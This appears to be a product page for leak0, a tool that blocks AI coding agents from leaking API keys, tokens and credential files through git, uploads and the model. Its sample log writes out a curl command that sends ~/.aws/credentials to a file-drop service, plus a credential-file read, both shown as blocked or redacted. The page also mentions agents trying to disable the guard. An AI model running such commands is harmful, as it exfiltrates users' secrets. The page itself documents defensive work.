leak0, a feature of the poison0 agent, protects your API keys and tokens from leaking through your AI agent: into git, to third-party servers, into the model and into the wrong files.
API keys, tokens, .env, ~/.aws and SSH keys sit where your agent works. Four routes lead out. leak0 sits in the agent's hook and stops the secret on each of them, right on your device.
leak0 blocks with proof and names it in every message. When a case is open, it asks or adds a note, and your work keeps running.
# leak0 - live [block] Bash curl -F f=@~/.aws/credentials https://transfer.sh ↳ proof: credential file sent to a file-drop service [allow] Bash git push origin main [ask] Bash git add .env ↳ likely a secret: you decide [block] Bash git commit -m "token ghp_…" ↳ proof: GitHub token with a valid checksum [redact] Bash cat ~/.aws/credentials ↳ value redacted before the model sees it
leak0 checks the tool calls of these agents right on your device and stops secrets before they leave it.
Five cases, each with proof: a known credential file, a token with a valid checksum, a secret value already seen in the session, a secret on its way to a provably third-party destination, and the agent trying to switch leak0 off.
Claude Code, Codex, Gemini CLI and Antigravity CLI on macOS, Linux and Windows, Cursor on macOS and Linux. The docs show what leak0 checks for each agent.
On your device, and your content stays there. The audit holds the tool and the rule class, never a value or a path.
Yes. Every leak0 decision goes to the audit: on the device and, in Cloud mode, in the console, without content. Observed hits stay local unless the admin turns on “Also in the console (cloud audit)” in the profile.
As soon as you switch it on. The installer asks, with On preselected. For unattended installs, set PZ_SETUP_LEAK0. Switch existing devices and profiles on with sudo poisonzero leak0 enforce or in the console profile.
When a case is open, it asks instead of blocking, or gives the agent a note. Every block comes with proof, so no false alarm holds your developers up.
exec0 stops tool calls that do harm. leak0 stops secret leaks. Both run in the same hook, each with its own check.